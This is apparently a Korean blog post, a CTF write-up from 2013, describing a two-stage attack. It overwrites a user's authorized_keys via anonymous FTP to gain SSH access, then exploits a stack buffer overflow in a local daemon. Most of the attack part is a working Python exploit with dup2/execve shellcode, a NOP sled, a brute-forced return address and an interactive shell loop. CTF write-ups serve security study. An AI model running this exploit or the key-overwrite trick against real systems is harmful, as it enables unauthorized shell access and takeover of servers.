공격 순서는, ssh key 덮어씌우기 -> 버퍼오버플로우 이다.
로컬에서만 접속할수 있는 데몬이기때문에, 로컬의 쉘이 필요하다.
로컬 쉘을 얻을수 있는 방법으로는, ssh key를 서버에 올려놓으면, 비밀번호 없이 접근할 수 있다.
$ ssh-keygen -t rsa
로, public key와 private key를 만든후, private key 는 ~/.ssh/id_rsa 로 옮겨놓고,
public_key는 이름을 authorized_keys로 바꾸고 ftp를 이용해 서버로 업로드한다.
그래서 ftp로 접속을 한다. (annonymous로 접속하면 된다.)
그리고, active 모드로 변경한다. (서버는 대부분의 포트가 막혀있기때문에, passive 모드가 안먹힌다.)
그리고, /home/secu_ftpd/authorized_keys 를 덮어 씌운다.
그 후에 곧바로 ssh secu_ftpd@서버주소 를 통해서 로그인한다.
그러면 첫번째 관문은 통과했다.
그리고 나서는 NX,ASLR이 꺼져있기때문에, 조금 분석후에 간단한 공격을 한다. (사실 엄청 간단하지는 않고, 좀 까다로웠다.)
from socket import * import sys import time fd = 4 shellcode = "\x31\xc9\xb1\x02\x31\xdb\xb3\x41\x31\xc0\xb0\x3f\xcd\x80\x49\x79\xf7" shellcode = shellcode.replace("\x41", chr(fd)) shellcode += "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3"+\ "\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80" for i in range(0x00,0xff,10): print hex(i) payload = "" payload += "\x90"*24 payload += shellcode payload += "\x90"*3 payload += (chr(i)+"\xf2\xff\xbf")*15 s=socket(AF_INET,SOCK_STREAM) s.connect(('localhost',3132)) while ">" not in s.recv(1024): pass time.sleep(0.0001) s.send(payload) s.send('id\n') try: get = s.recv(1024) except: get = "" print "except" s.close() continue if get.find('id') is not -1: while True: cmd = raw_input('$ ') if cmd == 'exit': s.close() break s.send(cmd+'\n') result = s.recv(1024) print result s.close()
'Computer Security > CTF' 카테고리의 다른 글
[HDCon 2013] 1번 문제 write up (6) | 2013.06.08 |
---|---|
[CodeGate 2013] Vuln 200, exploit (0) | 2013.06.04 |
[Secuinside 2013] PE time (0) | 2013.05.26 |
[Secuinside 2013] Secure Web, write up (8) | 2013.05.26 |
[Secuinside 2013] banking, write up (1) | 2013.05.26 |